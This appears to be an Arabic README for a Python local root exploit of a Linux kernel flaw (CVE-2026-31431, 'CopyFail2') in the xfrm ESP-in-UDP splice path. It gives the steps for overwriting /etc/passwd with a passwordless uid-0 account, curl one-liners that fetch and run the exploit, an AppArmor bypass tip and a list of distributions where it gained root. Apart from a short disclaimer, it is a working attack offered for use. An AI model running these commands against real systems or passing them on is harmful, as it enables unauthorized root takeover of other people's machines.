
استغلال تصعيد صلاحيات محلي لنواة لينكس مكتوب بلغة بايثون لثغرة CVE-2026-31431، يستغل xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW لاستبدال ملف /etc/passwd والحصول على صلاحيات الجذر.
نسخة بايثون من استغلال النواة CopyFail2 الذي يستغل مسار MSG_SPLICE_PAGES السريع بدون COW في xfrm ESP-in-UDP لتصعيد الامتيازات محليًا على لينكس بدون صلاحيات.
يستبدل إدخال nologin/false في /etc/passwd بمستخدم uid-0 بدون كلمة مرور ويدخل إلى قشرة جذر عبر su.
يكمن خلل النواة في مسار UDP splice المستخدم في تغليف xfrm ESP-in-UDP. يؤدي splice() إلى مقبس UDP مع MSG_SPLICE_PAGES إلى تعيين الصفحات في ذاكرة التخزين المؤقت للصفحات الخاصة بالمستقبل دون تفعيل النسخ عند الكتابة (copy-on-write). وهذا يسمح بالكتابة في أي ملف مُعيَّن حاليًا في ذاكرة التخزين المؤقت للصفحات، حتى لو كان مفتوحًا للقراءة فقط.
libcrypto.so (OpenSSL)CAP_NET_ADMIN أو القدرة على إنشاء مساحات أسماء مستخدمينيوفر هذا المستودع نسختين. كلاهما ينتج نفس النتيجة؛ اختر بناءً على قيودك.
# سطر واحد عبر الأنبوب
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# ملف محفوظ
python3 exploit.py
# التراجع عن التغييرات
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
على Ubuntu مع تفعيل apparmor_restrict_unprivileged_userns، احفظ الملف أولاً ثم شغّله من القرص؛ وضع الأنبوب يتخطى رقصة تجاوز AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd إلى القيمة المطلوبة.127.0.0.1:4500.splice() على ثلاث نطاقات (ترويسة ESP، البايت المستهدف من /etc/passwd، ICV) إلى أنبوب.splice() للأنبوب إلى مقبس UDP، مما يفعّل خلل النواة ويكتب البايت في ذاكرة التخزين المؤقت للصفحات.nologin/false بـ sick::0:0:...:/:/bin/bash.su - sick يدخل إلى الجذر (PAM nullok يقبل كلمة مرور فارغة).cannot acquire CAP_NET_ADMIN
قد تكون نواتك تحتوي على kernel.unprivileged_userns_clone=0. فعّلها:
sudo sysctl kernel.unprivileged_userns_clone=1
إذا كنت تعمل داخل Docker، ابدأ الحاوية مع --privileged أو --cap-add=SYS_ADMIN.
تُقدَّم هذه الأداة لأغراض البحث الأمني المصرح به والتعليم فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.
| الملف | الوصف | السرعة | متى تستخدمه |
|---|
exploit.py | محسّن — يعيد استخدام حالة xfrm/المقابس/الأنبوب عبر الطفرات، يجمّع 2 بايت متتاليين لكل جولة، استطلاع نشط بدلاً من النوم الثابت. | ~3–8 ثوانٍ لسطر من 99 بايت | الخيار الافتراضي. سريع، مستقر، مُختبَر على توزيعات متعددة. |
exploit_raw.py | مرجعي — الأقرب إلى كود C الأصلي. يعيد إنشاء حالة xfrm والمقابس والأنبوب والملف المؤقت لكل بايت على حدة، نوم ثابت 200 مللي ثانية لكل طفرة. | ~30–40 ثانية لسطر من 99 بايت | استخدمه إذا أردت أبسط مسار كود ممكن للتدقيق، أو إذا كان الإصدار المحسّن يتصرف بشكل غير صحيح على بناء نواة معين. |
| التوزيعة | النواة | النتيجة |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | جذر |
| Debian 13 | 6.12.74 | جذر |
| Arch | 6.19.11-arch1-1 | جذر |
| Fedora 43 | 6.19.14-200.fc43 | جذر |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | جذر |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | غير معرّض |